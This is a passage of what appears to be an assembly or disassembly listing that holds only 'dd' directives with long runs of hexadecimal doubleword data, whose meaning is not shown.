		dd 867C024Ch, 12928E7h,	693678A9h, 0FC44DCDFh, 8800AB64h
		dd 9694E5C7h, 24EE997h,	310D8127h, 8856835Ch, 52C49F85h
		dd 48368CB0h, 34CE6806h, 0C0180C90h, 974AF0F0h,	8CB57489h
		dd 2AF2C73Dh, 0C897A717h, 63806791h, 87954BADh,	13F6B13Ah
		dd 64E6221Ch, 49CEB1E7h, 32A70B5h, 330A6201h, 0BED89AC7h
		dd 21C4822Eh, 54483602h, 114F0054h, 6683DA89h, 4632B01h
		dd 1E82BC16h, 5E2DFC79h, 0C49E4CC0h, 4120AA31h,	5863157Ch
		dd 0E8331AE2h, 0FC471ECh, 90EBE95Ch, 0ECA30DE5h, 0C7248050h
		dd 13B27EB1h, 0B064CA55h, 47418818h, 0EDF4207Eh, 3698E4B1h
		dd 0C8EA0D00h, 90AA3455h, 9966761Fh, 184BD1C0h,	35630077h
		dd 8CE2259Fh, 0B8328BD5h, 58457AD2h, 0A4185854h, 0D498818Ch
		dd 7F107761h, 9849B34Ch, 8CCDEDEh, 9805306Ah, 2C815527h
		dd 95014E97h, 0A355C6D9h, 4B319A9Ch, 54D08C19h,	5817D04h
		dd 6878B1A6h, 4D971913h, 62B704C1h, 4CE181ADh, 2AC46109h
		dd 497A09Ch, 1B2DAAE8h,	7416AB4Dh, 0A8D26CF2h, 0DBEE1F6Ch
		dd 24A02E13h, 7666059Ch, 81C47C55h, 3F0516F4h, 90A9E852h
		dd 9BDB3861h, 688850CDh, 54607599h, 8ABED318h, 248A42Fh
		dd 62E59756h, 7B0B0A9Ch, 702265B4h, 0F1976168h,	0AFB9E517h
		dd 0A0C5D4A6h, 0DA8820CCh, 824C1959h, 54D62AF0h, 1C804D58h
		dd 0FCAAEABAh, 0E818C525h
		dd 4A90F6C0h, 9FF4D00Ah, 0BFFF06CCh, 27833B60h,	7E7C9934h
		dd 14E0D2D2h, 34D19BD8h, 4BE7CAC2h, 0D369B072h,	60247671h
		dd 0C95B574h, 30DFD537h, 97504409h, 0D0FE6C62h,	42176842h
		dd 0CC805508h, 0A419C144h, 0B2897F0Dh, 0C1A369EBh, 8C9F1450h
		dd 56A0C9h, 0D96B690h, 18A84CCEh, 0A9DA380Ch, 926451D0h
		dd 85A0D018h, 26008EE4h, 0E9B7C4C2h, 0FE5FB61h,	8B900CB8h
		dd 0AC02B569h, 6C835820h, 600F45F8h, 0A4EE2450h, 5109655Dh
		dd 0C1A8E830h, 0A9B87011h, 9EAC4588h, 0D84BC100h, 62970D9Eh
		dd 0D53E1937h, 30AC68F6h, 334C9407h, 3E48188Bh,	87B1800Ch
		dd 0DE843A58h, 3404CCD6h, 0E8541DE2h, 0AC218234h, 8C46BC44h
		dd 92D4EA0Ch, 408A58FDh, 8984E15h, 0BA295661h, 8075FB0Ah
		dd 428CCF0h, 31EABBCEh,	0D23E0363h, 64C1010Fh, 0E74351CFh
		dd 6B582461h, 51EB000h,	5D96E1C6h, 0B40A0048h, 0D62E889h
		dd 3E0255FAh, 9320058Ch, 266872DCh, 984C97FEh, 241449A4h
		dd 92E7CE01h, 4A13DA58h, 10819080h, 34825D2Fh, 0B52339C2h
		dd 0ADFCA257h, 0C098520Dh, 665F45C8h, 734D0A3Ah, 985D3E64h
		dd 47214E1Ch, 319E65E7h, 0E8E9FCh, 8D418619h, 2F87AD4Ch
		dd 0BC0028AAh, 6F5F1EBAh, 21E830E9h, 0A2CEF619h, 80BAFDC1h
		dd 0E7968108h, 0BE803380h, 0D3A9BAD8h, 0A9B01830h, 961D5B4Dh
		dd 2B9E6A1Ch, 0CD81D8C6h, 38A14C89h, 32D61964h,	0C1A08471h
		dd 0F86420AFh, 220024D8h, 0C63C1E8Ch, 0C0063533h, 8DA42991h
		dd 8B001160h, 765E7DD5h, 0B9E7A68Eh, 0AF803D84h, 0C5B4A799h
		dd 0F301E092h, 0E3B9798Dh, 0E1E1C09Bh, 40108C20h, 9A162746h
		dd 3C4B526Ch, 0FA07A36h, 0BE4ABCDh, 774FC1E0h, 2E287930h
		dd 38C47483h, 93026D80h, 0C02B23D6h, 80024238h,	19C70806h
		dd 0A37019B6h, 931A46h,	0EA22F5CEh, 0B59AD2B2h,	0CB3E0700h
		dd 0FF7F4D63h, 32AD0117h, 0F9CF1C15h, 54EA207Dh, 40C18A5Fh
		dd 781841BAh, 4C52BE28h, 33D98112h, 68C8808Bh, 49777AC0h
		dd 0B9D70076h, 2AAF57C3h, 0BB251129h, 188370Dh,	33905F49h
		dd 0F3BD823h, 0E49C2C7Eh, 51B4E142h, 28AF040h, 602A2184h
		dd 0EBD3110h, 0A4D21120h, 82BB5081h, 0B07B0030h, 0AA7D021Ch
		dd 34ABDABAh, 188914D6h, 105CC295h, 142C7EB4h, 0C87D604Eh
		dd 59FC0490h, 63B0A700h, 6DB6A385h, 964F0083h, 0BF9E7B6Ch
		dd 0CA0766Bh, 6A009D2Fh, 63C0907Ah, 80B04F41h, 613CAEA3h
		dd 66C10F89h, 8FC08F7Ah, 5FC4817Bh, 62DD9487h, 1DB2A5F0h
		dd 9F846Ah, 0C44F8870h,	970C8967h, 287D726Dh, 9B841E64h
		dd 988C40B9h, 923565BBh, 0A240BC60h, 691E7Bh, 806CAE97h
		dd 8A6DC64Fh, 0B575D07h, 1E733C1Fh, 406E535h, 3E806E75h
		dd 720071C0h, 5A6150A1h, 84311E90h, 0C098799Dh,	62713EE3h
		dd 4C18A637h, 0A85485E1h, 7E1F6A08h, 7602AF9Fh,	8D27B1A1h
		dd 88808038h, 71BF946Bh, 0BB409E7Eh, 236D036Ch,	415A3988h
		dd 69B0E80Eh, 5238B85Eh, 6272324Fh, 0A0809040h,	6A4DB892h
		dd 3B6D8300h, 8B15435h,	0BF7F3C22h, 9BB378B8h, 3AA18AE1h
		dd 65788293h, 8E61BCA1h, 203CB5A1h, 8D430179h, 6347C198h
		dd 92000A4Fh, 9CA37E76h, 1CF96953h, 679D3983h, 10BF9FCh
		dd 430AB215h, 443F4238h, 0FF7AA8h, 0D3B183DAh, 34AEB562h
		dd 0AB44B984h, 0C0AAE828h, 0C69A8B19h, 0A2B5147Fh, 2961B690h
		dd 48B2BC5Eh, 0E5141018h, 0A8A2E924h, 44A69389h, 30E42C88h
		dd 589D1900h, 0EC6209D4h, 16416065h, 9A900250h,	0C02544B9h
		dd 5A95D8CCh, 0FE78C847h, 407C2CA2h, 0F1A860B0h, 0A0289613h
		dd 0C514257Ch, 0AC943071h, 0B7586468h, 3690B924h, 0BCD1B8A1h
		dd 0F1CB08E4h, 0C0848F45h, 87CA9438h, 0D8AC7E11h, 0B2463F87h
		dd 0BE421CFAh, 1A0C61A4h, 0A036012Fh, 0E420F835h, 5C7E449Ch
		dd 80AA822Eh, 0C4C81B4Bh, 0E2444008h, 7F5C42BAh, 0C4D427D7h
		dd 0B68C425h, 357293DAh, 0C7816441h, 106F2800h,	0E2B850D2h
		dd 443FFF6Bh, 326D9C14h, 0CC9F216Ah, 0BC438BAh,	0C161C1D0h
		dd 0AFDE9A60h, 24EAEAACh, 1E4B7A0h, 0F2B49E15h,	9B2D7A98h
		dd 9898C182h, 0A89A1ECh, 0AFD2B818h, 0B228BCB0h, 910EA40h
		dd 0D632A056h, 32C5041Bh, 0D8117144h, 0B4DC2815h, 68A6FC94h
		dd 85608208h, 0C866D13Eh, 0E86ACAD0h, 0AB1B0441h, 0D8182191h
		dd 0E0C8B390h, 0D032A364h, 99111C2Ah, 48302089h, 11417338h
		dd 98D0306Fh, 683271F3h, 30BB4055h, 0C4972456h,	0EA9CA3BCh
		dd 251D0F16h, 890B5846h, 35661AD6h, 20E7059Ch, 3A0B931h
		dd 173922A9h, 0AA21034Eh, 8397027Fh, 0F90E017h,	34180404h
		dd 19AE70A0h, 4837D75Fh, 75AC530Bh, 43062820h, 984EF244h
		dd 185FAD50h, 214618D8h, 0B425B3D9h, 19105065h,	18EE4E15h
		dd 0A0D13B37h, 41892EE6h, 48E8F595h, 0B861B388h, 36B52439h
		dd 1E5D5180h, 0D66F3EEDh, 0AE8FE400h, 0D99565C1h, 323902C6h
		dd 0B324BE57h, 519DAC90h, 2431D022h, 4080D2BAh,	28392D84h
		dd 2560D490h, 0A58B14E0h, 1C34E856h, 59FEC171h,	0D080184Ch
		dd 37483972h, 0F322204h, 4A4E3E65h, 81A62D80h, 0E0B84BD5h
		dd 59537101h, 49879E64h, 404F099Eh, 2215BB7Bh, 0D713918h
		dd 4C38992Bh, 0E80C494h, 0F419FDA5h, 8D0988E0h,	0E4484EA1h
		dd 0F0C8F87Eh, 278511D9h, 9A541108h, 0B51FD422h, 3EF04265h
		dd 0D8A0F4D2h, 76049AC5h, 0EB0C69Dh, 1D2291BAh,	0F012E58Fh
		dd 0AD5187E4h, 65219EBCh, 4E22D16h, 0EA83127Ah,	40D85357h
		dd 4C8A6CACh, 0F2183902h, 5E71A136h, 86D4E95h, 0EA836080h
		dd 34FB5EEh, 30C5FFEEh,	0C10B1136h, 80F79FAAh, 1EF247EDh
		dd 3ABF19C9h, 1030401Fh, 15C75779h, 9032B424h, 10D05919h
		dd 0C1AF102Ah, 21BA0767h, 31A9A055h, 6F18D531h,	7EF7E445h
		dd 8324ECB8h, 89744274h, 9E82BCA3h, 80EF48F8h, 3FFED919h
		dd 0D6E0DB79h, 0CF0201E6h, 9389D1C1h, 20B09D35h, 163A5EC4h
		dd 20172C82h, 6E5C10BBh, 0D0FE8A74h, 380904E2h,	644EDF8Bh
		dd 61C007E8h, 0D82810h,	120A819h, 0A4825D25h, 1C935E80h
		dd 5159CE9Ah, 0EE1883Bh, 10911180h, 0F607A164h,	290C0248h
		dd 5992D476h, 0A888A812h, 86609164h, 215D83DDh,	8D266490h
		dd 0DA0A8434h, 9E020CBBh, 0A9213667h, 8F6051D0h, 1AA08DBAh
		dd 0B0444046h, 3E2018B0h, 58148C4Bh, 9128383Ah,	72832130h
		dd 0C46A2C3Eh, 6985368Ch, 3A00050h, 378789AEh, 210778D8h
		dd 5AC8FFE7h, 53673h, 5F1AFE29h, 75DDCF53h, 24F58804h
		dd 4883EB1h, 85689858h,	1B2EE128h, 0A4800E57h, 2862684Fh
		dd 21482CA0h, 0F9BC90BDh, 6842583Ah, 2000822h, 306063ADh
		dd 4810F0EDh, 14C81C06h, 8D6E5960h, 1DC02EA7h, 67E58A88h
		dd 1E924298h, 0D28F0E4h, 22210C68h, 10C33F20h, 0AD2F0C32h
		dd 1B91C417h, 0DCF7C80h, 100BFB8Dh, 9907DFEh, 8FA8542Dh
		dd 5CC05752h, 1AD23C6Dh, 5E818F0Fh, 0AE07D2A0h,	5F20AE5Bh
		dd 250DBA73h, 7C4922E7h, 7DDED0DDh, 66133900h, 6AFAA075h
		dd 409FBD6Dh, 0FC332308h, 72332321h, 9188177Fh,	67818F31h
		dd 0B6B1B56Eh, 5C30C118h, 64160BEEh, 0E0D9F7A0h, 4B186279h
		dd 0D40DC103h, 40BED925h, 0FDAA9048h, 7E386015h, 372F2EEEh
		dd 89440145h, 0FC85BBE8h, 80F2CBE3h, 0C5449538h, 478834E9h
		dd 7E4E9CB2h, 0B8B548B6h, 86F004Ah, 0BFCE201Dh,	2E904E4h
		dd 0BF706AF7h, 9532F028h
		dd 1711101Fh, 38E48F80h, 9A0BF76Ch, 724F04FEh, 5506442Ch
		dd 51009670h, 0A77BBC12h, 3861429h, 0BD0789A6h,	0C0F49AEAh
		dd 9CFB7F58h, 8D725812h, 0E02DD088h, 0E9590097h, 0C8D3D556h
		dd 0F6B88777h, 0C2698F00h, 77D3D0Bh, 0C74E02B0h, 689E0CBh
		dd 512D14F3h, 18307938h, 0A0DE07F8h, 527EF521h,	4AC262FDh
		dd 467E0056h, 18E3964h,	47E49DEAh, 2F2AD989h, 348237Ch
		dd 5E42AF75h, 89B3D4E0h, 4EFCE500h, 23BA15E9h, 83509B7h
		dd 981D6824h, 809D2A11h, 0F00C3E41h, 0A71714CFh, 3898332Ch
		dd 8283B7C9h, 0F9ADF398h, 3FAB81Ch, 0B3CA71B2h,	23E0FF7Fh
		dd 9C90D509h, 0D041B145h, 0C6CAF02h, 78C17BCh, 55F73B78h
		dd 95755003h, 0CB00CFCEh, 76F8D8F4h, 4C310ABCh,	7C56708Ah
		dd 0D77C60F7h, 780B0FE4h, 0C565AF24h, 8879A5A4h, 55779600h
		dd 1F67EB1Ch, 4472316Ah, 0EE05906Eh, 9D0DA442h,	46E45C32h
		dd 0AE0040D5h, 0AA674BDh, 0F145C576h, 3A8BA870h, 0B2110E71h
		dd 0B45C1F05h, 0C64B3043h, 2FFDE39Eh, 8410D019h, 0ACBC8E16h
		dd 12B04094h, 60E2AEF9h, 19C0F8F7h, 231104h, 95E0B55Dh
		dd 0EFA0F5D8h, 29103530h, 0A23441h, 625EBDF4h, 0FFA0D1FDh
		dd 0F72A0401h, 4B66196Eh, 1002F842h, 3C2DE8CFh,	0C214E758h
		dd 4410190Ch, 0E242847Eh, 832038F4h, 8916BB46h,	0F26CA2ECh
		dd 12CF304Ah, 0D3CDCA02h, 5776B725h, 6A91649Dh,	0A15A9380h
		dd 0A504BCB5h, 98D365A9h, 0FBA00C0h, 50A0BFE6h,	0D0F3A7FAh
		dd 0DC0B7C00h, 0B357D235h, 0A4100139h, 187465FFh, 0D7598059h
		dd 82CE7361h, 5CD403A9h, 0B05D0FB5h, 80813FF1h,	0DEC85450h
		dd 0CB03BCA8h, 0CCD2FDD9h, 15FBB700h, 0A3F9BE7Eh, 0ED16010Bh
		dd 4C821BCBh, 80393135h, 0CA84F629h, 0A6E475h, 872096F3h
		dd 0D83C04F8h, 1800D678h, 4F365064h, 0F41BD1CEh, 1814654Eh
		dd 5563C067h, 9E12F6D7h, 0D8B5363Eh, 86C4D0h, 0B308CAE5h
		dd 5DCF023Ch, 2C12177Bh, 0AC313BB0h, 2838E49Ah,	0E3545301h
		dd 435B4560h, 11CE1A04h, 46E7C000h, 5599B4E1h, 0F7DB0088h
		dd 84D5772Fh, 567DEF3Eh, 0F6D039h, 58784DABh, 6FE2D3B2h
		dd 72004070h, 64B8D2DBh, 0A2C8B00Ch, 1860289Eh,	40403C1Dh
		dd 5E284645h, 0CF74386Fh, 10E6E40Ch, 0FD82049h,	465F1E74h
		dd 0C7F19C80h, 2E012157h, 0CA79ED35h, 5CD80937h, 7DD400DFh
		dd 0FC3D83A4h, 1C770CF3h, 9C3B6600h, 0D4DB7034h, 0B25A1490h
		dd 9D3044A0h, 0BCF38151h, 9A311760h, 6088E575h,	0C0B08028h
		dd 0AA1F8095h, 0EC0D7A4Dh, 0CDCC1846h, 3D6F408Dh, 0B158D530h
		dd 3C0AF3EAh, 0E39F0898h, 944C5406h, 30A25586h,	0B029E41Eh
		dd 106D590Ch, 0CED50D76h, 0F170CC1Dh, 18198AF9h, 448CC80h
		dd 5E501ADCh, 728610FDh, 9B141855h, 948534h, 0E5199951h
		dd 50CBDD60h, 487480A1h, 5B39FCC8h, 297A1699h, 452D0835h
		dd 0C927F29Eh, 0FB34B0A0h, 1F2F1C07h, 32B280F1h, 182006FDh
		dd 0B417CC00h, 618AE428h, 373B00C5h, 5F03EAF8h,	203BCE60h
		dd 1F3003Ch, 5C834D19h,	9F490094h, 9A2145CCh, 661CD325h
		dd 0A03E3C6h, 0E04672B9h, 6A0E537h, 0F7BF1954h,	21CF184h
		dd 0D1401D9Ah, 0C65917Bh, 3EF20EB9h, 0C7CC2106h, 28030811h
		dd 0CD1CF616h, 7FF097ECh, 0F37768h, 0F03D79ABh,	727BDD8Bh
		dd 8F80CF01h, 383F183Ch, 0E0A4830h, 794B4DEh, 798AAB46h
		dd 59A5600h, 0F42634Ah,	755E003Ah, 0B6169054h, 7300C9F2h
		dd 240E1F36h, 771764Ch,	77AC4A1Ch, 0D7007E5Bh, 1B40B381h
		dd 0AB00ECB8h, 263DB1D6h, 0FF7C0C1h, 0FAD4376Ch, 76D21EA0h
		dd 0D01EA974h, 0A4C08E83h, 0D6BAB7A1h, 3D0B7462h, 0E9873815h
		dd 94FF1713h, 0D12B8025h, 0AD01ECE6h, 0FDE3EE91h, 0A44019D5h
		dd 0E05016h, 0CC24F5C8h, 0B01D7AAFh, 0F0453Dh, 4B5EC327h
		dd 695EEE1h, 0C24E343Bh, 7B00381Ch, 0B6EA8257h,	221B945Eh
		dd 5C01A1C6h, 43A2CABCh, 9ADC3F6Fh, 527056h, 0EC3E74AEh
		dd 1E5BDB3h, 823F103h, 89D1AFEDh, 6AE0D925h, 8214099Fh
		dd 6020D602h, 9270F7C6h, 3FDC6654h, 36380300h, 1C5983D6h
		dd 888500FFh, 3DB2F36Eh, 0E41FC2BDh, 92DE57C5h,	781CC140h
		dd 4DA2F9h, 0BBE01421h,	0E810FA79h, 0F8CE9F07h,	5C5081B9h
		dd 4288DCh, 59A2F59Ch, 29961E63h, 885B7030h, 0A09D7Ah
		dd 3E974BA4h, 0A28F61AEh, 2F9656C0h, 0FE877CA7h, 0F9740098h
		dd 0C78B5871h, 0B4165AE8h, 1E0070CFh, 0B16273CCh, 0EEDD09C9h
		dd 7023FDECh, 20A891B5h, 3D3ED535h, 7626752Dh, 0D30183E7h
		dd 5A757AA5h, 53020h, 0EF849799h, 13D919Ch, 6D96A903h
		dd 0C85CCD13h, 1DB366BCh, 407DBEDBh, 2D4C23EFh,	0C503FBA0h
		dd 45B67044h, 80A9ABA1h, 6B3F6BEh, 0CE5F2B5h, 0F99820C6h
		dd 35FE7303h, 0CEE4E49h, 0B67B3F40h, 9406A28h, 0C76B0030h
		dd 0F34B3DE7h, 2100CFDBh, 7CBC71CDh, 1F462Fh, 0F1D3AC73h
		dd 6E8395EBh, 0F69F0712h, 422CB800h, 606B0Ah, 4C555C37h
		dd 8BAD2320h, 0B6AA5F01h, 9DB0691Bh, 8F19F840h,	1629026Bh
		dd 5A34319Eh, 59B6C480h, 0AF76E0ECh, 0BD00C9B8h, 0B1DEEE4Bh
		dd 3FEB735Ah, 0E4BA63B8h, 2400353Fh, 0F2C23C7h,	29F013F7h
		dd 1788CC60h, 0A1A0DF5h, 4C30B8A3h, 0C60101C4h,	0CC402075h
		dd 0E8032959h, 0C0ED0F7Ch, 0C814EB33h, 76B1955Bh, 0FD7739Bh
		dd 1A9928C3h, 0B5C04BCEh, 0A30F17FEh, 0BC0907E0h, 234995h
		dd 152D22FCh, 0D7D204F7h, 81C5553Ah, 0D09398ECh, 0BE0F2BBAh
		dd 431626E8h, 0D0F64B39h, 3F1EC14h, 0CDAEB017h,	0CB903BC7h
		dd 98E02FD8h, 8DE2A200h, 0AC68C4FDh, 0F44A0F31h, 1A803C89h
		dd 0CE019133h, 0D16CEE03h, 0C02C5CE5h, 0A0BE02h, 0F2838058h
		dd 7D41CF1Eh, 12EE23F6h, 5100227Fh, 9DD6AC2Ah, 0C870B8h
		dd 50FD1E7Bh, 57AD4792h, 0D2F2DD00h, 33244374h,	7C4F00C8h
		dd 162D0356h, 1700262Eh, 0FC39C936h, 1D8DEFAh, 3CA389D5h
		dd 20984C84h, 5B098DB0h, 1F8FBE5h, 59AEDDF9h, 0F2B2D050h
		dd 93F607B1h, 82658431h, 0C6C055E1h, 78037744h,	6F59CA1Ah
		dd 0A0185BB1h, 2700B769h, 8613F5B2h, 0E0205Eh, 0EE75CF96h
		dd 81121B99h, 254FF0Eh,	6FC8C008h, 0F068664Fh, 79EAB8h
		dd 0EE695763h, 1CC5141Ah, 0C9058AE0h, 37F5D5C8h, 0B17B9000h
		dd 0EECE890h, 0DF64CEAEh, 0E0A0FB07h, 0A42EF65Ch, 331F7077h
		dd 0D1CE0416h, 870F806Dh, 7D48BD5Ah, 9C4A0078h,	0C9189019h
		dd 0D800D15Dh, 0CEF2D423h, 629F5Eh, 74DA4606h, 0BA16A18Ah
		dd 32FD7D1Dh, 5091D447h, 0B390DB57h, 38843E90h,	0AF00AE7Fh
		dd 0B4D5E844h, 0E90007D3h, 0C00AC9ACh, 772B3AF8h, 0AF910E10h
		dd 0CF2037BDh, 82C406DBh, 0CA48C502h, 803D94FFh, 0A01C7BA4h
		dd 6EB10067h, 811ECF66h, 390F0851h, 0C19AA5F8h,	1F4FB74Bh
		dd 141C1880h, 866568C0h, 32D85001h, 406418A1h, 26259E8h
		dd 0CD9D1D35h, 38E8CC90h, 0A73BD04Ah, 0EC7006B1h, 2418E24Ch
		dd 18A789DDh, 49CA18BFh, 0D5743874h, 78534Ch, 3C1E3F7Dh
		dd 42D46A3h, 0F5E4E671h, 0CDF8C009h, 9800149Dh,	6B8ADCADh
		dd 0C09FB156h, 0ACCBFC48h, 4C002505h, 868FFE3h,	599BA75Eh
		dd 0E62CE4A9h, 42100084h, 5C870EACh, 78FE1B1Dh,	0CDE24540h
		dd 3AF344Bh, 4F98309Fh,	82CCFDC0h, 0B8605CD8h, 0C30F1EBAh
		dd 0AF15201Fh, 0C92C00F5h, 13142E21h, 40BE12FAh, 0BCAEBD30h
		dd 0D800E447h, 0F07C6D87h
		dd 0ED509Fh, 7E558AE1h,	45C588EEh, 0CEBCD00h, 0B80806ACh
		dd 0B57B04F7h, 0D009F199h, 4E842FCh, 0E670E900h, 7EA394F3h
		dd 76CB0F4h, 6D464C1h, 357630C8h, 0C0C0B73Bh, 0E075557Ah
		dd 7C9807Eh, 63B65E48h,	0A3035AC0h, 1DF18840h, 9F015h
		dd 0F44E42E9h, 15D321Ah, 1D44E73Ah, 440DC13h, 1D0DA739h
		dd 0F0C03A51h, 0F5AA4280h, 65A94F1Eh, 0E940EEE2h, 0B1E81626h
		dd 454C40F9h, 43967F1h,	831DED3Fh, 449576C7h, 0A9FFC03Fh
		dd 907B00D5h, 0E00A663Bh, 992E368Bh, 2B031970h,	989469C2h
		dd 1FE53h, 9765BE32h, 3C40790Bh, 0DA614F61h, 0C0FB5C1Ah
		dd 76B0C4BFh, 0CA7743Fh, 3917616Eh, 662EBAF1h, 2F07A4DEh
		dd 92CEF186h, 20B7691Ch, 0B0C0A187h, 1807EBB8h,	48B2CCA3h
		dd 34A0F9D9h, 0F00F38DCh, 9EE23CE9h, 91C580F9h,	0C232D4D3h
		dd 0BCFD37DDh, 7CBE8128h, 5C9083BAh, 0A1610BE2h, 0CDC8F499h
		dd 9FC6076Fh, 0A096EE58h, 0D911D4D1h, 0F63DE307h, 0FEA08477h
		dd 24B83779h, 959CDE8Eh, 0BE3B6462h, 0B2C43372h, 7B88B060h
		dd 88BA5CFDh, 5005DB0Ch, 0FF7707Ch, 58819519h, 0E90D7287h
		dd 1E5ACC40h, 6FDF33Dh,	4DAE51E2h, 47501B58h, 0D7F070FCh
		dd 1AF8AB96h, 0D1417560h, 0CC0E7Ah, 0A6375056h,	18F4465Dh
		dd 69299764h, 1113F821h, 1911A753h, 828417B1h, 9A297B00h
		dd 0D1011DFEh, 6F3E1E79h, 0D630415Bh, 0FF61003Ch, 897E19A7h
		dd 0A200C543h, 9EC00B6Ch, 0D2156Eh, 0C90A6BADh,	0B50770A6h
		dd 62875C09h, 19E58061h, 0EED4B4E9h, 4C9400DEh,	0AD1178F7h
		dd 7C1C939Fh, 9140EC07h, 0D602DC5Eh, 6070F10Eh,	0FE782EFDh
		dd 0B29D0474h, 0AABD028Ch, 0A96900A7h, 0E71E1243h, 0B0D8E803h
		dd 146F19h, 0B7DFD4A1h,	6555BCEDh, 5FCAE200h, 0D6DB979Bh
		dd 8576007Eh, 53ED7FCh,	9000F044h, 49D1BC1Bh, 7EFA639h
		dd 8427822Bh, 575BB08Bh, 0EB00C598h, 0CEFD59B5h, 704CBA5h
		dd 0D28D12BEh, 91A77078h, 0F9097DC7h, 206CB357h, 9305DF8Ch
		dd 0E1E300C8h, 0C3109E34h, 6CE2B5CBh, 2A4AF4F3h, 0D9D87603h
		dd 81BB6147h, 3024F01Dh, 64880073h, 3C985863h, 0B2506FFBh
		dd 9D065EA7h, 8A70F253h, 0A26B0320h, 0CA9E2393h, 87AC17C9h
		dd 0F5A922CEh, 0EEAA1FC0h, 803D0097h, 3E0A6369h, 0CA002FA0h
		dd 0E8409698h, 7259B2E9h, 0F01E1FEAh, 7D4E68Bh,	32E3B646h
		dd 74681F2Bh, 0F50002EAh, 38D923A9h, 4CA3B0h, 0AF222F9Ch
		dd 0F00C7A05h, 0EFAAF801h, 19D853A4h, 0B00A07D4h, 0E07A08h
		dd 0A190618Ah, 3AB14695h, 0A367AF00h, 0E9F1910Fh, 7F5A00F4h
		dd 84D8F6BAh, 0C92831D9h, 200F852h, 468B0AA8h, 4F426h
		dd 875BBBC5h, 0A458614Ch, 3E006076h, 7457BC89h,	1616049Ah
		dd 1DC12A0Bh, 9E408120h, 0F0BA78F9h, 0C8903AEAh, 0E804AA00h
		dd 0BCA5A902h, 7EE0C04Eh, 4B1BC415h, 310EF4F7h,	605DB7Ch
		dd 638855AAh, 0EE1E8C43h, 0E2F688B9h, 99133818h, 0A4936280h
		dd 37B24798h, 65B03Ch, 24F605A6h, 155F2Bh, 873A77DEh, 0BB4FECE3h
		dd 0D36C6101h, 41CD5337h, 0FC20B057h, 312D6B4h,	82AFABE8h
		dd 5000DC05h, 0C61C69D2h, 9ABACCh, 3CF35E25h, 3A3E75DBh
		dd 48DF0726h, 3BFC5180h, 24702Fh, 0FA5A17A3h, 1B753539h
		dd 924895ECh, 8A7E0F24h, 0F2A6278Bh, 0C8A41F90h, 0B11A0088h
		dd 0A2277BFDh, 3509AFC6h, 7646178h, 0D2B0B818h,	2CAD0299h
		dd 105D46h, 269BE73Fh, 0A4F06ECBh, 0E9764418h, 16DCA0Eh
		dd 0A1C6E066h, 20B2496Ah, 7A76DAE0h, 3E42F80h, 565A1A0Fh
		dd 5198E903h, 4330C73Bh, 0E7072048h, 0D0391FA6h, 62E6C72Ch
		dd 6E57D055h, 0EE09367Bh, 0CE5A2Dh, 98FF38F4h, 0AB509F9h
		dd 0AC6891D0h, 8B008259h, 163E1C2Eh, 0EDFEB2h, 90366AABh
		dd 273C8334h, 0DB8F311Eh, 0F100CA57h, 0D395C556h, 901C598Ah
		dd 0A7431E00h, 0D9310D03h, 4100F178h, 300AE5ADh, 11EED6h
		dd 19E7AB39h, 0B82B80D3h, 0F8E33C3Fh, 0F4C45D00h, 11A63601h
		dd 0AD5B021Bh, 0E6F25981h, 42AC4C0h, 40DC48h, 0AB46EEC5h
		dd 762E43h, 265EC325h, 0B033C81Ch, 0FE421601h, 7CD4D532h
		dd 7D305FC4h, 72A101DBh, 36F5E549h, 8FB020DAh, 53562607h
		dd 68914C0Dh, 5F09D86h,	988A7D02h, 25FEC04h, 76FBA172h
		dd 1840E04Bh, 6100B8EBh, 9D7C4DEEh, 7C029A1Ah, 0F52C00AEh
		dd 8395B623h, 0FF2E0B9Eh, 0CF9CD8EBh, 8E531E09h, 98B301D2h
		dd 0E9F8C9BAh, 784302B0h, 0E4675B7Bh, 61C6848h,	6E111D00h
		dd 569D2F96h, 247E0097h, 457DD83h, 6004BAC3h, 0ADB95217h
		dd 9810D080h, 1AA08345h, 53003A96h, 0EE4A5EBFh,	754BABh
		dd 0FDE64F28h, 61F732E0h, 30382E30h, 2D95DEh, 1535FA7Ah
		dd 2F9B2242h, 0AAFC7C01h, 93234518h, 1FE52080h,	0E7CFFEEDh
		dd 0CA02EB0Fh, 1094FE9h, 0CC0AF476h, 16A0C8ECh,	580E6Bh
		dd 0AD34C55Ch, 0D02A4026h, 0A70084F0h, 0A4CDFB67h, 381109h
		dd 0CA9C91AAh, 0EF49262Bh, 84002498h, 0CB31F5F7h, 1F2E0E89h
		dd 9F2945C2h, 8FA40003h, 0EB4E5195h, 1268700Ah,	8A0408EEh
		dd 0A5C02648h, 397BD3D8h, 3780C1BAh, 13E2272Ch,	340016A6h
		dd 0F2B62BACh, 77F14D7Dh, 37091E9Dh, 73C0C09Ch,	55101859h
		dd 1629F600h, 84E7DB4Ch, 0B7A600E4h, 0D7374217h, 0E000098Ch
		dd 4ECC88B0h, 4AFFF3h, 0EA1DB8BCh, 80D1CB5h, 0E4B09501h
		dd 0D5E60ECAh, 0A027C860h, 4C1EDAC6h, 0DC00D501h, 20E79119h
		dd 1300360Fh, 0F2B8F3CBh, 98788114h, 0ADE46Ah, 800C289Bh
		dd 9386D7EBh, 2566740Ch, 384F94D9h, 0F580BBF0h,	0A5F819E3h
		dd 1E00F229h, 0FD609CB5h, 0FF2EA4h, 2C5CC538h, 0AC4D77E5h
		dd 0C8FC6B00h, 4F7C0226h, 4771CEh, 35F5E686h, 0C37F10AEh
		dd 0B964FC00h, 0F2F0A991h, 0C8E2002Fh, 0FB558A2Ah, 0DE0035E3h
		dd 77B4BBCCh, 121FE111h, 44F7EC8Bh, 92ADF640h, 2C489D24h
		dd 44011733h, 7D309224h, 2080ABFBh, 6F4B80Dh, 0E300DFC8h
		dd 0ED71D21Ah, 0EEC731h, 73D402ECh, 169388D0h, 0B285948h
		dd 60A53CCDh, 48441F74h, 923F868Bh, 2DC6B000h, 85C7A7B3h
		dd 1EA2995Ch, 2B85DD61h, 0C0006DC3h, 51DC587Ch,	91860331h
		dd 0AF1A85C5h, 77A480A5h, 0D3005FB3h, 69D0B426h, 16993A50h
		dd 4FCBA81Ah, 0EC9D7110h, 57748064h, 56FC6978h,	4B5A0601h
		dd 0A168ABC3h, 0B126828h, 0B47821ECh, 1EAC3863h, 219E76D3h
		dd 485E674Ch, 8DE20022h, 0DE877F6Eh, 8C78DDC2h,	8F805A7Eh
		dd 91980ED4h, 320E935h,	9D6261CDh, 83C03B48h, 98B07B5Ah
		dd 20468Ah, 0D2D6FAEAh,	4728A880h, 98240F00h, 39AC7CD8h
		dd 354735Fh, 995C73FFh,	0A4E4DEDCh, 0D409EBC0h,	64FBD91Ch
